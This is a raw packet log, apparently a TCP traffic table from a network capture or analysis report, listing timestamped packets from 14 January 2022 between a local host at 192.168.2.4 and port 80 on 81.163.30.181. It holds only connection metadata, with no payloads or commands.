Jan 14, 2022 20:29:59.506998062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507071018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507080078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507121086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507123947 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507180929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507227898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507267952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507307053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507325888 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507345915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507428885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507447004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507468939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507534981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507553101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507591963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507632971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507663012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507673979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507711887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507730961 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507751942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507791042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507828951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507843018 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507869005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507888079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507908106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507946968 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.507965088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.507987976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508025885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508047104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508101940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508140087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508166075 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508179903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508220911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508235931 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508259058 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508297920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508318901 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508336067 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508377075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508394957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508416891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508455038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508471012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508493900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508533955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508554935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.508573055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.508626938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.551414967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.551462889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.551536083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.566849947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.566987038 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567038059 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567075014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567110062 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567116976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567183971 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567189932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567238092 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567248106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567282915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567322016 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567343950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567362070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567414045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567420959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567451954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567511082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567512035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567573071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567611933 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567631960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567651987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567689896 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567723036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567728996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567770004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567786932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567807913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567847967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567864895 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567887068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567924976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.567943096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.567962885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568001986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568018913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568042040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568084002 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568098068 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568120956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568161011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568176985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568202972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568239927 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568259954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568279028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568317890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568336010 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568357944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568397999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568413973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568435907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568475008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568491936 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568514109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568552017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568571091 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568591118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568630934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568645954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568670988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568711042 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568728924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568749905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568789005 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568804979 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568828106 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568866014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568886042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568905115 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568943977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.568960905 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.568984032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.569041967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.569057941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.569078922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.569133997 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.604250908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.610013008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.610059977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.610255003 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628086090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628143072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628185987 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628206015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628212929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628238916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628278017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628317118 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628341913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628365993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628379107 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628422976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628422976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628448009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628473043 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628499985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628532887 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628559113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628582954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628587008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628607988 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628633022 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628635883 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628658056 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628686905 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628690958 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628710032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628735065 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628741980 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628761053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628786087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628787994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628812075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628835917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628840923 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628859997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628885984 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628890038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628909111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628935099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628938913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.628961086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628985882 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.628988981 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629010916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629033089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629036903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629057884 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629084110 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629087925 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629108906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629134893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629137039 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629158974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629183054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629188061 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629210949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629235983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629239082 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629261017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629287004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629288912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629317045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629343033 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629343033 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629369974 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629394054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629395008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629416943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629441977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629442930 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629466057 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629492044 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629492998 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629517078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629543066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629543066 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.629566908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.629591942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.643820047 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.672322989 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.672358990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.672425032 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.687923908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.687997103 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688005924 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688021898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688045979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688091993 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688100100 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688127041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688152075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688153028 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688174963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688214064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688221931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688261032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688278913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688290119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688317060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688342094 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688348055 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688365936 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688391924 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688407898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688417912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688441992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688457966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688467979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688493967 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688504934 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688518047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688545942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688550949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688570976 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688597918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688596964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688622952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688646078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688649893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688669920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688694954 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688704014 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688720942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688746929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688760042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688771009 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688796997 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688807011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688824892 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688848972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688854933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688874960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688899040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688905001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688924074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688950062 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688951015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.688973904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.688998938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.689004898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.689050913 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.701869011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.701926947 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.701951981 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.701993942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.701992989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702017069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702040911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702052116 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702064991 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702090979 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702095985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702116013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702155113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702156067 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702181101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702208996 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702212095 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702234030 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702263117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702275991 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.702297926 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.702322960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.734184027 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.734277964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747456074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747561932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747601986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747637987 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747652054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747692108 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747714996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747730017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747772932 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747788906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747821093 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747859955 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747875929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747900963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747940063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.747956038 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.747989893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748030901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748047113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748069048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748107910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748121977 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748147011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748199940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748202085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748246908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748285055 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748301029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748339891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748380899 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748394966 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748419046 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748459101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:59.748472929 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:59.748497963 CET	80	49882	81.163.30.181	192.168.2.4
